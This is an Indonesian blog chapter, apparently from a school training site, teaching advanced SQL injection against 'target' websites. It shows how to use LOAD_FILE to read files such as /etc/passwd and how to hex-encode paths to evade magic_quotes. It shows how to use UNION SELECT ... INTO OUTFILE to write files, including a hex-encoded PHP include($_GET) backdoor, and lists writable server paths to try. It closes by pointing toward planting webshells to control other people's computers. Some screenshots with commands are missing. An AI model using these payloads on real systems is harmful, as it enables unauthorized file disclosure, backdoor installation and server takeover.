Pusat Praktek Kerja Lapangan SMK TKJ, RPL, AKUTANSI, DAN MULTIMEDIA

Pusat Praktek Kerja Lapangan SMK TKJ, RPL, AKUTANSI, DAN MULTIMEDIA
Pusat Praktek Kerja Lapangan Lampung

Advanced SQL Injection



Saya rasa sampai sejauh ini, perjalanan anda untuk memahami SQL Injection terus bertambah. Saya harap sesampainya anda pada bab ini, sudah bisa memahami dan menggunakan SQL Injection. Dalam bab ini, kita akan mengulas SQL Injection. Jika dari teknik SQL Injection sebelumnya, kita berfokus untuk menemukan username dan password sebuah situs web. Lain halnya dengan Advanced SQL Injection, pada Advanced SQL Injection ini, yang kita lakukan tidak hanya mengakses database. Pada teknik ini, kita juga bisa membaca atau melihat file yang ada pada komputer target, bahkan lebih dari itukita juga bisa memasukkan file ke dalamnya.
Dalam bab ini,,  kita akan menggunakan perintah LOAD_FILE dan INTO OUTFILE.
·         LOAD FILE berguna untuk membuka isi file
·         INTO OUTFILE berfungsi untuk menulis isi file
Perintah tersebut kita masukkan pada angka error yang ditemukan sewaktu anda melakukan SQL Injection dari bab-bab terdahulu. Ingat, perintah INTO OUTFILE hanya bisa membuat sebuah file baru, tidak digunakan untuk mengubah isi file yang sudah ada.
Sekarang kita akan mencari tahu Privileges seorang user terlebih dahulu.



Informasi yang dihasilkan adalah nama user yang digunakan beserta informasi privileges. Apabila di sebelah nama user terdapat huruf ‘Y’ berarti user tersebut punya privileges file, yang artinya memiliki akses untuk melakukan Load and write sebuah file.
Melakukan pemeriksaan file_priv ini sangat penting karena jika kita punya tidak punya akses write maka kita hanya bisa membaca sebuah file, namun tidak bisa membuat file baru.
Sebagai contoh, saya membuat terlebih dahulu sebuah file dengan nama test.txt menggunakan sebuah Notepad. File tersebut saya taruh di C:.




Pada bab ini, saya tidak akan melakukan proses SQL Injection dari awal lagi. Ita gunakan saja kasus dari Bab 4 perintah untuk membaca isi sebuah file LOAD_FILE (nama_file), berikut contoh pemakaiannya:
 



Tidak hanya itu saja, perintah LOAD_FILE ini bahkan juga bisa membaca file  yang ditempatkan dalam sebuah folder. Misalnya, saya menyalin file test.txt di atas dan membuat sebuah folder baru dengan nama contoh pada C:\contoh. Maka perintah di URL-nya adalah:



Bahkan file yang terdapat dalam folder C:\Windows pun sebenarnya juga dapat dibaca.
Perlu juga anda ketahui, apabila ada masalah sewaktu anda menggunakan perintah di atas, seperti file yang anda ingin lihat tidak tampil. Kemungkinan fitur magic_quotes telah diaktifkan. Untuk mengatasi hal ini, anda harus mengubah nama file menjadi Hexa atau Decimal.
Apabila file yang ingin anda lihat berada dalam drive C: langsung, maka anda cukup mengonversi \namafile, dalam hal ini ‘\test.txt’.
Tanda kutip tunggal juga ikut anda konversi.


Sehingga perintah yang dimasukkan dalam bentuk Hexa menjadi:


Untuk membaca file dalam linx, perintah yang digunakan adalah:
LOAD_FILE(‘/etc/passwd’).
Atau menggunakan kode hexa: 0x2f6574632f706173737764.
Berikut contoh hasil pemakaian LOAD_FILE(‘/etc/passwd’).


Apabila sewaktu anda menggunakan perintah LOAD_FILE di atas, tidak menampilkan isi file, kemungkinan besar file atau direktori tersebut tidak ada, atau menggunakan nama lainnya. Dalam menampilkan file, hal yang perlu dicermati adalah ukuran file harus kurang dari max_allowed_packet. Dimana ukuran default @@max_allowed_packet adalah 1047552 bytes.
Sampai di sini anda telah bisa membaca isi sebuah file menggunakan browser. Kita akan mencoba manuver lain, dengan membuat sebuah file karya anda sendiri. Pada bagian ini barulah kita menggunakan perintah INTO OUTFILE.
Perintah yang digunakan adalah:
UNION SELECT 1,2,3,*isi file*,5,6,7 INTO OUTFILE ‘ /nama-file--         
Langsung saja pada contoh penerapannya.
 


Sewaktu anda menjalankan perintah di atas maka akan tampil halaman error seperti gambar di bawah ini.




Pada beberapa kasus, pesan error yang tampil adalah:
Warning: mysql_fetch_object() expects parameter 1 to be
Mysql_result,                       boolean                 given                in
C:\xampp\htdocs\joomla\libraries\joomla\database\mysqli.php on line 462
Baiklah, sekarang kita akan melihat hasil yang kita kerjakan di atas, dengan membuka drive C:, ternyata di dalamnya muncul sebuah file baru dengan nama ‘abc.txt’. Dan isi file tersebut bertuliskan ‘Hacking is Creativity’.


Dalam kondisi online, kita perlu tahu direktori yang digunakan untuk menyimpan file atau data. Untuk mengetahui path tersebut, bisa kita lihat dari pesan error yang tampil. Misalnya, pada pesan error di bawah ini:
Warning: mysql_num_rows(): supplied argument is not a valid
MySQL                           result                          resource                     in
/home2/abc/public_html/situswebku/functionFiles\
/filenya.php on line 69
Dari pesan error di atas di ketahui path untuk memasukkan file adalah: home2/abc/public_html/situswebku/.
Jika diperlukan, anda bisa memasukkan teks yang anda inginkan menggunakan kode hex. Misalnya, pada kasus, untuk memasukkan ‘</include($_GET”]);/>’, yang muncul hanyalah halaman kosong. Oleh karena itu, anda harus mengakali dengan kode hexa:
Ox273c3f696e636c75646528245f4745545b225d293b3f3e27.
Selain itu, untuk melakukan write kita juga harus tahu directory mana yang writable. Biasanya sebuah situs web memiliki folder /tmp, dan biasanya folder ini pasti writable. Alternatif lain adalah folder image, atau seperti daftar berikut ini:
·         /var/www/html/
·         /var/www/web1/html/
·         /var/www/sitename/htdocs/
·         /var/www/localhost/htdocs
·         /var/www/vhosts/sitename/httpdocs//etc/init.d/apache
·         /etc/init.d/apache2
·         /etc/httpd/httpd.conf
·         /etc/apache/apache.conf
·         /etc/apache/httpd.conf
·         /etc/apache2/apache2.conf
·         /etc/apache2/httpd.conf
·         /usr/local/apache2/conf/httpd.conf
·         /usr/local/apache/conf/httpd.conf
·         /opt/apache/conf/httpd.conf
·         /home/apache/httpd.conf
·         /home/apache/conf/httpd.conf
·         /etc/apache2/sites-available/default
·         /etc/apache2/vhosts.d/default_vhosts.include
·         /templates_compiled/
·         /templates_c/
·         Templates/
·         Temporary/
·         /images/
·         /cache/
·         /temp/
·         /files/
Pada dasarnya ketika anda bisa memasukkan sebuah file maka anda juga bisa memasang webshell pada situs web target. Efeknya anda bisa mengendalikan komputer orang lain hanya melalui sebuah browser. Namun, pembahasan mengenai webshell ini butuh penjelasan tersendiri, jadi tidak saya bahas di sini. Untuk Joomla, anda bisa memasang webshell dengan membaca buku Hacking Joomla.


Previous
Next Post »